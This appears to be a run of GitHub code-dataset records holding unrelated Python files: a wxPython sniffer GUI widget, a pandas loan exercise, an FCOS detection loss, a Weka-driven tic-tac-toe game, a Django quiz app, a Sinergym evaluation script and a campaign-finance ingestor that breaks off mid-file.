wx.lib.mixins.listctrl as listmixin\n\n\nclass ListControl(wx.ListCtrl, listmixin.ListCtrlAutoWidthMixin):\n def __init__(self, parent, content_provider):\n wx.ListCtrl.__init__(self, parent, style=wx.LC_REPORT | wx.LC_SINGLE_SEL)\n listmixin.ListCtrlAutoWidthMixin.__init__(self)\n\n # Insert columns\n for column_index, (column, width) in enumerate(content_provider.get_columns()):\n self.InsertColumn(column_index, column, width=width)\n\n # Style\n self.SetBackgroundColour(wx.Colour(230, 230, 250))\n\n self._results = []\n self.filter = None\n\n @property\n def results(self):\n return self._results\n\n def add_result(self, result):\n self._results.append(result)\n return self._add_result_as_item(result)\n\n def get_number_of_results(self):\n return len(self._results)\n\n def _add_result_as_item(self, result):\n row, _ = result\n if self.filter is not None and not self.filter(row):\n return False\n\n index = self.InsertItem(self.GetItemCount(), str(row[0]))\n for i, value in enumerate(row[1:]):\n self.SetItem(index, i + 1, str(value))\n\n if index % 2 == 0:\n self.SetItemBackgroundColour(index, \"white\")\n return True\n\n def delete_all_results(self):\n self._results = []\n\n def reload(self):\n wx.BeginBusyCursor()\n try:\n self.Freeze()\n self.DeleteAllItems()\n for result in self._results:\n self._add_result_as_item(result)\n self.Thaw()\n self.Refresh()\n finally:\n wx.EndBusyCursor()\n\n def set_filter(self, filter):\n self.filter = filter\n\n def smart_auto_scroll(self, items_added):\n scroll_position = self.GetScrollPos(wx.VERTICAL)\n visible_items_count = self.GetCountPerPage()\n scroll_bottom_position = scroll_position + visible_items_count\n item_count = self.GetItemCount()\n if scroll_bottom_position >= item_count - 1 - items_added:\n self.EnsureVisible(item_count - 1)\n","repo_name":"netaneld122/winsniffer","sub_path":"winsniffer/gui/list_control.py","file_name":"list_control.py","file_ext":"py","file_size_in_byte":2122,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"20"} +{"seq_id":"26779601456","text":"# --------------\n# Import packages\nimport numpy as np\nimport pandas as pd\nfrom scipy.stats import mode \n \n# code starts here\nbank = pd.read_csv(path)\ncategorical_var = bank.select_dtypes(include = 'object')\nprint (categorical_var)\nnumerical_var = bank.select_dtypes(include = 'number')\nprint (numerical_var)\n# code ends here\n\n\n# --------------\n# code starts here\nbanks = bank.drop(['Loan_ID'],axis=1)\nprint (banks.isnull().sum())\nbank_mode = banks.mode()\nbanks = banks.fillna('bank_mode')\n#code ends here\n\n\n# --------------\n# Code starts here\n\n\n\n\n\n#pd.to_numeric(banks[\"LoanAmount\"])\navg_loan_amount = pd.pivot_table(banks,index=[\"Gender\",\"Married\",\"Self_Employed\"],values=[\"LoanAmount\"])\n#banks.head()\n\n\n# code ends here\n\n\n\n# --------------\n# code starts here\n\n#banks.head()\nloan_approved_se_temp = banks[banks['Self_Employed'] =='Yes']\nloan_approved_se = loan_approved_se_temp[loan_approved_se_temp['Loan_Status']=='Y']\n\nloan_approved_nse_temp = banks[banks['Self_Employed'] =='No']\nloan_approved_nse = loan_approved_nse_temp[loan_approved_nse_temp['Loan_Status']=='Y']\n\npercentage_se = (len(loan_approved_se)/614)*100\npercentage_nse = (len(loan_approved_nse)/614)*100\n# code ends here\n\n\n# --------------\n# code starts here\n\n#def loan_amt_term(i):\n# int(i)\n# i = (i/12)\n# return str(i)\n\n\nloan_term = banks['Loan_Amount_Term'].apply(lambda x : x/12)\n#banks.head()\nlst = ((loan_term>=25).tolist())\ndef count(lst): \n return lst.count(True) \nbig_loan_term = count(lst)\n#big_loan_term = len(loan_term>=25)\n# code ends here\n\n\n# --------------\n# code starts here\nloan_groupby=banks.groupby('Loan_Status')\nloan_groupby = loan_groupby[('ApplicantIncome','Credit_History')]\nmean_values = loan_groupby.mean()\n\n\n# code ends here\n\n\n","repo_name":"shubhampnkr/greyatom-python-for-data-science","sub_path":"Pandas-Basic-Project/code.py","file_name":"code.py","file_ext":"py","file_size_in_byte":1736,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"43310864644","text":"import torch\nimport numpy as np\nfrom losses.commons import focal_loss, IOULoss, BoxSimilarity\n\nINF = 1e8\n\n\nclass BoxCoder(object):\n def __init__(self):\n super(BoxCoder, self).__init__()\n\n @staticmethod\n def full_encoder(grids, gt_boxes):\n \"\"\"\n :param grids: [num_grids,2] (xc,yc)\n :param gt_boxes: [num_gts,4] (x1,y1,x2,y2)\n :return: [num_grids,num_gts,4] (l,t,r,b)\n \"\"\"\n left = grids[:, None, 0] - gt_boxes[None, :, 0]\n top = grids[:, None, 1] - gt_boxes[None, :, 1]\n right = gt_boxes[None, :, 2] - grids[:, None, 0]\n bottom = gt_boxes[None, :, 3] - grids[:, None, 1]\n reg_target_per_img = torch.stack([left, top, right, bottom], dim=2)\n return reg_target_per_img\n\n @staticmethod\n def encoder(grids, gt_boxes):\n \"\"\"\n\n :param grids:[num,2]\n :param gt_boxes:[num,4](x1,y1,x2,y2)\n :return:\n \"\"\"\n left_top = grids[..., [0, 1]] - gt_boxes[..., [0, 1]]\n right_bottom = gt_boxes[..., [2, 3]] - grids[..., [0, 1]]\n return torch.cat([left_top, right_bottom], dim=-1)\n\n @staticmethod\n def decoder(predicts, grids):\n predicts[..., :2] = grids - predicts[..., :2]\n predicts[..., 2:] = grids + predicts[..., 2:]\n return predicts\n\n\nclass Matcher(object):\n BELOW_LOW_THRESHOLD = -1\n\n def __init__(self, radius, strides, layer_limits):\n self.radius = radius\n self.box_coder = BoxCoder()\n self.strides = torch.tensor(strides)\n expand_limits = np.array(layer_limits)[None].repeat(2).tolist()\n self.layer_limits = torch.tensor([-1.] + expand_limits + [INF]).view(-1, 2)\n\n def __call__(self, grids, gt_boxes):\n ret = list()\n device = grids[0].device\n if self.strides.device != device:\n self.strides = self.strides.to(device)\n if self.layer_limits.device != device:\n self.layer_limits = self.layer_limits.to(device)\n\n expand_grid = torch.cat(\n [torch.cat([grid, layer_limit.expand_as(grid), stride.expand_as(grid[..., [0]])],\n dim=-1).view(-1, 5)\n for grid, layer_limit, stride in zip(grids, self.layer_limits, self.strides)\n ], dim=0)\n for bid, gt in enumerate(gt_boxes):\n if len(gt) == 0:\n continue\n reg_target_per_img = self.box_coder.full_encoder(expand_grid, gt[:, 1:])\n if self.radius == 0:\n valid_in_box = reg_target_per_img.min(dim=2)[0] > 0\n else:\n limit_gt_xy = gt[:, [1, 2]] + gt[:, [3, 4]] / 2\n limit_gt_min_xy = limit_gt_xy[None, :, :] - expand_grid[:, None, [4, 4]] * self.radius\n limit_gt_max_xy = limit_gt_xy[None, :, :] + expand_grid[:, None, [4, 4]] * self.radius\n limit_gt_min_xy = torch.where(limit_gt_min_xy > gt[None, :, [1, 2]],\n limit_gt_min_xy, gt[None, :, [1, 2]])\n limit_gt_max_xy = torch.where(limit_gt_max_xy < gt[None, :, [3, 4]],\n limit_gt_max_xy, gt[None, :, [3, 4]])\n left_top = expand_grid[:, None, [0, 1]] - limit_gt_min_xy\n right_bottom = limit_gt_max_xy - expand_grid[:, None, [0, 1]]\n valid_in_box = torch.cat([left_top, right_bottom], dim=2).min(dim=2)[0] > 0\n max_reg_targets_per_im = reg_target_per_img.max(dim=2)[0]\n is_card_in_level = (max_reg_targets_per_im >= expand_grid[:, [2]]) & (\n max_reg_targets_per_im <= expand_grid[:, [3]])\n gt_area = (gt[:, 3] - gt[:, 1]) * (gt[:, 4] - gt[:, 2])\n locations_to_gt_area = gt_area[None, :].repeat(len(expand_grid), 1)\n locations_to_gt_area[~valid_in_box] = INF\n locations_to_gt_area[~is_card_in_level] = INF\n min_area, gt_idx = locations_to_gt_area.min(dim=1)\n gt_idx[min_area == INF] = self.BELOW_LOW_THRESHOLD\n ret.append((bid, gt_idx))\n return ret\n\n\nclass FCOSLoss(object):\n def __init__(self,\n strides,\n layer_limits,\n radius=0,\n alpha=0.25,\n gamma=2.0,\n iou_type=\"giou\",\n iou_loss_type=\"centerness\",\n iou_loss_weight=0.5,\n reg_loss_weight=1.3):\n self.alpha = alpha\n self.gamma = gamma\n self.matcher = Matcher(radius=radius, strides=strides, layer_limits=layer_limits)\n self.iou_loss = IOULoss(iou_type=iou_type, coord_type=\"ltrb\")\n self.box_similarity = BoxSimilarity(iou_type=\"iou\", coord_type=\"ltrb\")\n self.iou_loss_type = iou_loss_type\n self.bce = torch.nn.BCEWithLogitsLoss(reduction=\"sum\")\n self.iou_loss_weight = iou_loss_weight\n self.reg_loss_weight = reg_loss_weight\n\n @staticmethod\n def build_centerness(reg_targets):\n left_right = reg_targets[:, [0, 2]]\n top_bottom = reg_targets[:, [1, 3]]\n centerness = (left_right.min(dim=-1)[0] / left_right.max(dim=-1)[0]) * \\\n (top_bottom.min(dim=-1)[0] / top_bottom.max(dim=-1)[0])\n return torch.sqrt(centerness)\n\n def __call__(self, cls_predicts, reg_predicts, iou_predicts, grids, targets):\n cls_predicts = torch.cat([item for item in cls_predicts], dim=1)\n reg_predicts = torch.cat([item for item in reg_predicts], dim=1)\n iou_predicts = torch.cat([item for item in iou_predicts], dim=1)\n all_grids = torch.cat([item for item in grids], dim=0)\n gt_boxes = targets['target'].split(targets['batch_len'])\n matches = self.matcher(grids, gt_boxes)\n match_bidx = list()\n match_grid_idx = list()\n match_gt_idx = list()\n for bid, match in matches:\n grid_idx = (match >= 0).nonzero(as_tuple=False).squeeze(-1)\n match_grid_idx.append(grid_idx)\n match_gt_idx.append(match[grid_idx])\n match_bidx.append(bid)\n if cls_predicts.dtype == torch.float16:\n cls_predicts = cls_predicts.float()\n if iou_predicts.dtype == torch.float16:\n iou_predicts = iou_predicts.float()\n cls_batch_idx = sum([[i] * len(j) for i, j in zip(match_bidx, match_grid_idx)], [])\n cls_grid_idx = torch.cat(match_grid_idx)\n cls_label_idx = torch.cat([gt_boxes[i][:, 0][j].long() for i, j in zip(match_bidx, match_gt_idx)])\n num_pos = len(cls_batch_idx)\n cls_targets = torch.zeros_like(cls_predicts)\n cls_targets[cls_batch_idx, cls_grid_idx, cls_label_idx] = 1.0\n all_cls_loss = focal_loss(cls_predicts.sigmoid(), cls_targets, alpha=self.alpha,\n gamma=self.gamma).sum() / num_pos\n\n all_box_targets = self.matcher.box_coder.encoder(all_grids[cls_grid_idx],\n torch.cat(\n [gt_boxes[i][:, 1:][j] for i, j in\n zip(match_bidx, match_gt_idx)]\n , dim=0))\n all_box_predicts = reg_predicts[cls_batch_idx, cls_grid_idx]\n if self.iou_loss_type == \"centerness\":\n iou_targets = self.build_centerness(all_box_targets)\n elif self.iou_loss_type == \"iou\":\n iou_targets = self.box_similarity(all_box_predicts.detach(), all_box_targets)\n else:\n raise NotImplementedError(\"iou_loss_type: {:s} is not support now\".format(self.iou_loss_type))\n all_iou_loss = self.iou_loss_weight * self.bce(\n iou_predicts[cls_batch_idx, cls_grid_idx, 0], iou_targets) / num_pos\n all_box_loss = self.reg_loss_weight * (\n self.iou_loss(all_box_predicts, all_box_targets) * iou_targets).sum() / (iou_targets.sum())\n return all_cls_loss, all_box_loss, all_iou_loss, num_pos\n","repo_name":"liangheming/fcosv1","sub_path":"losses/fcos_loss.py","file_name":"fcos_loss.py","file_ext":"py","file_size_in_byte":8017,"program_lang":"python","lang":"en","doc_type":"code","stars":20,"dataset":"github-code","pt":"20"} +{"seq_id":"69810077491","text":"import os\r\nimport random\r\nimport time\r\n\r\ndef hasWin(data):\r\n\r\n\t\"\"\"\r\n\tCheca se houve uma vitoria\r\n\t\"\"\"\r\n\r\n\twalk = []\r\n\r\n\twalk.append(str(data[0] + data[1] + data[2]))\r\n\twalk.append(str(data[3] + data[4] + data[5]))\r\n\twalk.append(str(data[6] + data[7] + data[8]))\r\n\r\n\twalk.append(str(data[0] + data[3] + data[6]))\r\n\twalk.append(str(data[1] + data[4] + data[7]))\r\n\twalk.append(str(data[2] + data[5] + data[8]))\r\n\r\n\twalk.append(str(data[0] + data[4] + data[8]))\r\n\twalk.append(str(data[2] + data[4] + data[6]))\r\n\r\n\tcheck = ''.join(walk)\r\n\t\r\n\t# checa se houve uma soma de modulo 3 que representa vitoria do X e do O\r\n\tif '3' in check:\r\n\t\treturn True\r\n\r\n\treturn False\t\r\n\r\ndef drawBoard(board):\r\n\r\n\t\"\"\"\r\n\tImprime um tabuleiro com os valores correntes do vetor que representa o jogo da velha\r\n\t\"\"\"\r\n\r\n\t# eh usado para mapear os valores armazenados nos caracteres X e O printaveis\r\n\ttranslation = {0: \" \", 1: \"X\", -1: \"O\"}\r\n\r\n\tprint(' | |')\r\n\tprint(' ' + translation[board[0]] + ' | ' + translation[board[1]] + ' | ' + translation[board[2]])\r\n\tprint(' | |')\r\n\tprint('-----------')\r\n\tprint(' | |')\r\n\tprint(' ' + translation[board[3]] + ' | ' + translation[board[4]] + ' | ' + translation[board[5]])\r\n\tprint(' | |')\r\n\tprint('-----------')\r\n\tprint(' | |')\r\n\tprint(' ' + translation[board[6]] + ' | ' + translation[board[7]] + ' | ' + translation[board[8]])\r\n\tprint(' | |')\r\n\r\ndef makeArff(tictactoe):\r\n\t\r\n\t\"\"\"\r\n\tFuncao usada para construir o arquivo ARFF de teste\r\n\t\"\"\"\r\n\t\r\n\theader = \"@relation tic-tac-toe \\n\"\r\n\theader += \"@attribute 'pos0' {-1,0,1} \\n\"\r\n\theader += \"@attribute 'pos1' {-1,0,1} \\n\"\r\n\theader += \"@attribute 'pos2' {-1,0,1} \\n\"\r\n\theader += \"@attribute 'pos3' {-1,0,1} \\n\"\r\n\theader += \"@attribute 'pos4' {-1,0,1} \\n\"\r\n\theader += \"@attribute 'pos5' {-1,0,1} \\n\"\r\n\theader += \"@attribute 'pos6' {-1,0,1} \\n\"\r\n\theader += \"@attribute 'pos7' {-1,0,1} \\n\"\r\n\theader += \"@attribute 'pos8' {-1,0,1} \\n\"\r\n\theader += \"@attribute 'class' { 0, 1, 2 ,3, 4, 5, 6, 7, 8} \\n\"\r\n\theader += \"@data \\n\"\r\n\t\r\n\ttext = ','.join(str(pos) for pos in tictactoe) + ',0 \\n'\r\n\tcontent = header + text\r\n\tf = open(arffFilename, 'w')\r\n\tf.write(content)\r\n\tf.close()\r\n\t\r\ndef predictClass(tictactoe):\r\n\r\n\t\"\"\"\r\n\tFuncao que coleta a resposta predita pelo classificador\r\n\t\"\"\"\r\n\t\r\n\tmakeArff(tictactoe)\r\n\t#os.system('java -classpath weka.jar weka.classifiers.functions.SMO -l cl_smo.bin -T ' + arffFilename + ' -p 0 > saida.txt')\r\n\tos.system('java -classpath weka.jar weka.classifiers.trees.RandomForest -l clRandomForest.bin -T ' + arffFilename + ' -p 0 > saida.txt')\r\n\tf = open('saida.txt')\r\n\tlinha = f.readlines()[5]\r\n\treturn int(linha[30])\r\n\r\nif __name__ == \"__main__\":\r\n\r\n\tarffFilename = 'test.arff'\r\n\ttictactoe = [0 for _ in range(9)] # Cria lista que seja responsavel por armazenar o tabuleiro\r\n\tfirstMove = random.randint(0, 8) # posicao para inicio do jogo \r\n\tmove = 1 # variavel usada para registrar 1 e -1 no tabuleiro\r\n\ttictactoe[firstMove] = move\r\n\r\n\tfor _ in range(4): # numero maximo de tentativas com duas jogadas por iteracao\r\n\t\tmove = -move # na proxima jogada ser o movimento do oponente\r\n\t\tdrawBoard(tictactoe)\r\n\t\tactualMove = int(input(\"Escolha uma posição:\"))\r\n\t\taux = list(tictactoe)\r\n\t\taux[actualMove] = move\r\n\r\n\t\tif hasWin(aux): # Verifica se existe vencedor\r\n\t\t\tdrawBoard(aux)\r\n\t\t\tprint(\"Fim da partida\")\r\n\t\t\tbreak\r\n\r\n\t\ttictactoe[actualMove] = aux[actualMove] # somente adiciona o movimento ao tabuleiro original em caso de nao vitoria\r\n\r\n\r\n\t\tmove = -move # na proxima jogada ser o movimento do oponente\r\n\t\tactualMove = predictClass(tictactoe) # movimento do jogador X\r\n\t\taux = list(tictactoe)\r\n\t\taux[actualMove] = move\r\n\r\n\t\tif hasWin(aux): # Verifica se existe vencedor\r\n\t\t\tdrawBoard(aux)\r\n\t\t\tprint(\"Fim da partida\")\r\n\t\t\tbreak\r\n\r\n\t\ttictactoe[actualMove] = aux[actualMove] # somente adiciona o movimento ao tabuleiro original em caso de nao vitoria","repo_name":"ArielBarros/DataMiningHomeworks","sub_path":"Homework04/game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":3859,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"9607644731","text":"from django.shortcuts import render, HttpResponseRedirect\nfrom django.contrib.auth.decorators import login_required\nfrom django.contrib import messages\n\nfrom .models import *\nfrom .forms import RegistrationForm\nfrom main.common import get_ip_address\n\n\ndef redirect_to_main(request):\n return HttpResponseRedirect('/')\n\n\ndef quiz_ready(request, quiz_id):\n\n if 'success' in request.GET.keys():\n return render(request, 'quiz/success.html')\n\n quiz = Quiz.objects.get(id=quiz_id)\n quiz_name = quiz.name\n\n if quiz.is_expired(): # если тест просрочен\n return render(request, 'quiz/expired.html', {'quiz_name': quiz_name, 'title': quiz_name})\n\n if 'start' in request.GET.keys():\n # список айди всех вопросов для теста (нужно, чтобы загружать вопросы из фронтенда)\n question_ids = [question.id for question in QuizQuestions.objects.filter(quiz_id=quiz_id)]\n\n ip_address = get_ip_address(request.META)\n\n if not CurrentlyDoing.objects.filter(ip_address=ip_address, quiz_id=quiz_id).exists(): # если еще не проходил\n return render(request, 'quiz/registration.html', {'quiz_id': quiz_id,\n 'title': quiz_name,\n 'messages': messages.get_messages(request)})\n else:\n currently_doing = CurrentlyDoing.objects.get(ip_address=ip_address, quiz_id=quiz_id)\n\n if currently_doing.stage == -1:\n return render(request, 'quiz/already_completed.html')\n\n # айди вопроса, на котором остановился пользователь\n start_stage = currently_doing.stage\n\n # обрезать список до айди, на котором остановился пользователь\n question_ids = question_ids[question_ids.index(start_stage):]\n\n return render(request, 'quiz/QA.html', {'quiz_id': quiz_id,\n 'question_ids': question_ids,\n 'start_stage': start_stage,\n 'title': quiz_name})\n\n if 'question' in request.GET.keys(): # отрендерить только определенный вопрос и варианты ответа на него\n question_id = request.GET['question']\n question = QuizQuestions.objects.get(id=question_id)\n answers = QuestionAnswers.objects.filter(quiz_questions_id=question_id)\n\n return render(request, 'quiz/question.html', {'question': question,\n 'answers': answers})\n\n return render(request, 'quiz/quiz.html', {'quiz_name': quiz_name, 'title': quiz_name})\n\n\ndef register(request, quiz_id):\n \"\"\"\n что-то типа регистрации\n \"\"\"\n\n if not request.POST:\n return HttpResponseRedirect('/')\n\n if Quiz.objects.get(id=quiz_id).is_expired(): # на всякий пожарный\n return HttpResponseRedirect('/')\n\n form = RegistrationForm(request.POST)\n\n if form.is_valid():\n nickname = request.POST['nickname']\n\n if not CurrentlyDoing.objects.filter(quiz_id=quiz_id, nickname=nickname).exists():\n first_stage = QuizQuestions.objects.filter(quiz_id=quiz_id)[0].id\n CurrentlyDoing(quiz_id=quiz_id,\n ip_address=get_ip_address(request.META),\n nickname=nickname,\n stage=first_stage).save()\n else:\n messages.error(request, \"Такой ник уже зарегистрирован на этот тест\")\n\n return HttpResponseRedirect('/quiz/%s/?start' % quiz_id)\n\n\ndef update_answer(request, quiz_id):\n \"\"\"\n только для post запросов с помощью ajax\n \"\"\"\n\n if not request.POST:\n return HttpResponseRedirect('/')\n\n answer_id = request.POST['answer_id']\n\n answer = QuestionAnswers.objects.get(id=answer_id)\n answer.update(get_ip_address(request.META))\n\n return HttpResponseRedirect('/quiz/%s/' % quiz_id)\n\n\n@login_required\ndef quiz_results(request, quiz_id):\n if request.GET:\n if 'players' in request.GET.keys():\n show_type = request.GET.get('type', 'all')\n\n if show_type == 'all':\n players = CurrentlyDoing.objects.filter(quiz_id=quiz_id)\n else:\n players = CurrentlyDoing.objects.filter(quiz_id=quiz_id, stage=-1)\n\n return render(request, 'quiz/results_playerlist.html', {'players': players,\n 'title': 'Результаты опроса'})\n\n total_completed = CurrentlyDoing.objects.filter(quiz_id=quiz_id, stage=-1).count()\n total_in_progress = CurrentlyDoing.objects.filter(quiz_id=quiz_id).exclude(stage=-1).count()\n\n questions = QuizQuestions.objects.filter(quiz_id=quiz_id)\n\n qa = dict()\n\n for question in questions:\n answers = QuestionAnswers.objects.filter(quiz_questions_id=question.id).order_by('-counter')\n qa[question] = answers\n\n return render(request, 'quiz/results.html', {'total_completed': total_completed,\n 'total_in_progress': total_in_progress,\n 'qa': qa,\n 'quiz_id': quiz_id,\n 'title': 'Результаты опроса'})\n\n\n# def import_spells(request, quiz_id):\n# spells = list()\n#\n# with open('C:/Users/osx11/Desktop/spell_names.txt', 'rb') as f:\n# for line in f:\n# spells.append(line.decode('utf-8').replace('\\n', ''))\n#\n# for spell in spells:\n# question = 'Как часто вы используете заклинание %s?' % spell\n# QuizQuestions(quiz_id=quiz_id, question=question).save()\n#\n# answers = ['Часто', 'Иногда', 'Вообще не использую']\n#\n# for question in QuizQuestions.objects.filter(quiz_id=quiz_id):\n# for answer in answers:\n# QuestionAnswers(quiz_questions_id=question.id, answer=answer).save()\n#\n","repo_name":"osx11/MagicQuiz","sub_path":"quiz/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":6405,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"20"} +{"seq_id":"17637305499","text":"import argparse\nimport json\nimport sys\n\nimport gymnasium as gym\nimport numpy as np\nimport wandb\nfrom gymnasium.wrappers.normalize import NormalizeReward\nfrom stable_baselines3 import A2C, DDPG, DQN, PPO, SAC, TD3\nfrom stable_baselines3.common.monitor import Monitor\n\nimport sinergym\nimport sinergym.utils.gcloud as gcloud\nfrom sinergym.utils.constants import *\nfrom sinergym.utils.rewards import *\nfrom sinergym.utils.wrappers import *\n\n# ---------------------------------------------------------------------------- #\n# Parameters #\n# ---------------------------------------------------------------------------- #\n\nparser = argparse.ArgumentParser()\nparser.add_argument(\n '--configuration',\n '-conf',\n required=True,\n type=str,\n dest='configuration',\n help='Path to experiment configuration (JSON file)'\n)\nargs = parser.parse_args()\n\n# ---------------------------------------------------------------------------- #\n# Read json parameters #\n# ---------------------------------------------------------------------------- #\n\nwith open(args.configuration) as json_conf:\n conf = json.load(json_conf)\n\ntry:\n # ---------------------------------------------------------------------------- #\n # Evaluation name #\n # ---------------------------------------------------------------------------- #\n evaluation_date = datetime.today().strftime('%Y-%m-%d_%H:%M')\n evaluation_name = conf['algorithm']['name'] + '-' + conf['environment'] + \\\n '-episodes-' + str(conf['episodes'])\n if conf.get('id'):\n evaluation_name += '-id-' + str(conf['id'])\n evaluation_name += '_' + evaluation_date\n\n # ---------------------------------------------------------------------------- #\n # WandB registration #\n # ---------------------------------------------------------------------------- #\n\n if conf.get('wandb'):\n # Create wandb.config object in order to log all experiment params\n experiment_params = {\n 'sinergym-version': sinergym.__version__,\n 'python-version': sys.version\n }\n experiment_params.update(conf)\n\n # Get wandb init params\n wandb_params = conf['wandb']['init_params']\n # Init wandb entry\n run = wandb.init(\n name=evaluation_name + '_' + wandb.util.generate_id(),\n config=experiment_params,\n ** wandb_params\n )\n\n # --------------------- Overwrite environment parameters --------------------- #\n env_params = {}\n # Transform required str's into Callables\n if conf.get('env_params'):\n if conf['env_params'].get('reward'):\n conf['env_params']['reward'] = eval(conf['env_params']['reward'])\n if conf['env_params'].get('action_space'):\n conf['env_params']['action_space'] = eval(\n conf['env_params']['action_space'])\n\n env_params = conf['env_params']\n\n # ---------------------------------------------------------------------------- #\n # Environment definition #\n # ---------------------------------------------------------------------------- #\n env_params.update({'env_name': evaluation_name})\n env = gym.make(\n conf['environment'],\n ** env_params)\n env = Monitor(env)\n\n # ---------------------------------------------------------------------------- #\n # Wrappers #\n # ---------------------------------------------------------------------------- #\n\n if conf.get('wrappers'):\n for key, parameters in conf['wrappers'].items():\n wrapper_class = eval(key)\n for name, value in parameters.items():\n # parse str parameters to sinergym Callable or Objects if it is\n # required\n if isinstance(value, str):\n if 'sinergym.' in value:\n parameters[name] = eval(value)\n env = wrapper_class(env=env, ** parameters)\n\n # ---------------------------------------------------------------------------- #\n # Load Agent #\n # ---------------------------------------------------------------------------- #\n # ------------------------ Weights and Bias model path ----------------------- #\n if conf.get('wandb'):\n if conf['wandb'].get('load_model'):\n # get model path\n artifact_tag = conf['wandb']['load_model'].get(\n 'artifact_tag', 'latest')\n wandb_path = conf['wandb']['load_model']['entity'] + '/' + conf['wandb']['load_model']['project'] + \\\n '/' + conf['wandb']['load_model']['artifact_name'] + ':' + artifact_tag\n # Download artifact\n artifact = run.use_artifact(wandb_path)\n artifact.get_path(conf['wandb']['load_model']\n ['artifact_path']).download('.')\n # Set model path to local wandb file downloaded\n model_path = './' + conf['wandb']['load_model']['artifact_path']\n\n # -------------------------- Google cloud model path ------------------------- #\n elif 'gs://' in conf['model']:\n # Download from given bucket (gcloud configured with privileges)\n client = gcloud.init_storage_client()\n bucket_name = conf['model'].split('/')[2]\n model_path = conf['model'].split(bucket_name + '/')[-1]\n gcloud.read_from_bucket(client, bucket_name, model_path)\n model_path = './' + model_path\n # ----------------------------- Local model path ----------------------------- #\n else:\n model_path = conf['model']\n\n model = None\n algorithm_name = conf['algorithm']['name']\n if algorithm_name == 'SB3-DQN':\n model = DQN.load(model_path)\n elif algorithm_name == 'SB3-DDPG':\n model = DDPG.load(model_path)\n elif algorithm_name == 'SB3-A2C':\n model = A2C.load(model_path)\n elif algorithm_name == 'SB3-PPO':\n model = PPO.load(model_path)\n elif algorithm_name == 'SB3-SAC':\n model = SAC.load(model_path)\n elif algorithm_name == 'SB3-TD3':\n model = TD3.load(model_path)\n else:\n raise RuntimeError('Algorithm specified is not registered.')\n\n # ---------------------------------------------------------------------------- #\n # Execute loaded agent #\n # ---------------------------------------------------------------------------- #\n for i in range(conf['episodes']):\n obs, info = env.reset()\n rewards = []\n terminated = False\n current_month = 0\n while not terminated:\n a, _ = model.predict(obs)\n obs, reward, terminated, truncated, info = env.step(a)\n rewards.append(reward)\n if info['month'] != current_month:\n current_month = info['month']\n print(info['month'], sum(rewards))\n print(\n 'Episode ',\n i,\n 'Mean reward: ',\n np.mean(rewards),\n 'Cumulative reward: ',\n sum(rewards))\n env.close()\n\n # ---------------------------------------------------------------------------- #\n # Wandb Artifacts #\n # ---------------------------------------------------------------------------- #\n\n if conf.get('wandb'):\n if conf['wandb'].get('evaluation_registry'):\n artifact = wandb.Artifact(\n name=conf['wandb']['evaluation_registry']['artifact_name'],\n type=conf['wandb']['evaluation_registry']['artifact_type'])\n artifact.add_dir(\n env.get_wrapper_attr('workspace_path'),\n name='evaluation_output/')\n\n run.log_artifact(artifact)\n\n # wandb has finished\n run.finish()\n\n # ---------------------------------------------------------------------------- #\n # Store results #\n # ---------------------------------------------------------------------------- #\n if conf.get('cloud'):\n if conf['cloud'].get('remote_store'):\n # Initiate Google Cloud client\n client = gcloud.init_storage_client()\n # Code for send output to common Google Cloud resource here.\n gcloud.upload_to_bucket(\n client,\n src_path=env.get_wrapper_attr('workspace_path'),\n dest_bucket_name=conf['cloud']['remote_store'],\n dest_path=evaluation_name)\n\n # ---------------------------------------------------------------------------- #\n # Auto-delete remote container #\n # ---------------------------------------------------------------------------- #\n if conf['cloud'].get('auto_delete'):\n print('Deleting remote container')\n token = gcloud.get_service_account_token()\n gcloud.delete_instance_MIG_from_container(\n conf['cloud']['group_name'], token)\n\nexcept Exception as err:\n print(\"Error in process detected\")\n if conf.get('cloud'):\n if conf['cloud'].get('auto_delete'):\n print('Deleting remote container')\n token = gcloud.get_service_account_token()\n gcloud.delete_instance_MIG_from_container(\n conf['cloud']['group_name'], token)\n raise err\n","repo_name":"ugr-sail/sinergym","sub_path":"scripts/load_agent.py","file_name":"load_agent.py","file_ext":"py","file_size_in_byte":9798,"program_lang":"python","lang":"en","doc_type":"code","stars":89,"dataset":"github-code","pt":"20"} +{"seq_id":"10418034050","text":"import csv\nimport glob\n\nfrom datetime import datetime\nfrom zipfile import ZipFile\nfrom state_fin_ingest.ingestor import Ingestor\nfrom state_fin_ingest.dir import INPUT_DIR, TEMP_DIR\n\n\nAFTER_DATE = datetime(2018, 11, 6, 0, 0, 0)\n\n\nclass ContribIngestor(Ingestor):\n def pre(self):\n pass\n\n def work(self):\n contrib_files = glob.glob(f\"{TEMP_DIR}/contrib*.csv\")\n\n for c_file in contrib_files:\n with open(f\"{c_file}\", \"r\") as f:\n reader = csv.reader(f)\n\n # Skip header\n next(reader)\n\n # try:\n for row in reader:\n # Skip contribution if missing a date\n if row[10] == \"\":\n continue\n\n contrib_date = datetime.strptime(row[10], \"%Y%m%d\")\n\n # Skip contributions prior to a given date\n if contrib_date <= AFTER_DATE:\n continue\n\n # Skip non-monetary contributions\n if row[2] == \"A2\":\n continue\n\n this_dict = dict()\n\n this_dict[\"filer\"] = {\n \"filer_id\": row[6],\n \"type\": row[7],\n \"name\": row[8],\n }\n\n this_dict[\"addtl_data\"] = {\"schedule\": row[2]}\n\n # Attach candidate info if direct contrib to canidate campaign\n if row[7] == \"COH\":\n # I don't care about contributions that aren't to\n # candidate or candidate linked PAC\n if row[6] not in self.parent.candidate_dict:\n continue\n this_dict[\"candidate\"] = self.parent.candidate_dict[row[6]]\n elif row[6] in self.parent.spac_to_cand:\n # I don't care about contributions that aren't to\n # candidate or candidate linked PAC\n if row[6] not in self.parent.spac_to_cand:\n continue\n\n candidate_id = self.parent.spac_to_cand[row[6]][\"candidate_id\"]\n\n if candidate_id not in self.parent.candidate_dict:\n continue\n this_dict[\"candidate\"] = self.parent.candidate_dict[\n candidate_id\n ]\n else:\n continue\n\n this_dict[\"contribution_id\"] = row[9]\n\n this_dict[\"contribution_date\"] = contrib_date.isoformat()\n\n this_dict[\"amount\"] = float(row[11])\n this_dict[\"memo\"] = row[12]\n\n # Information about the contributor -- 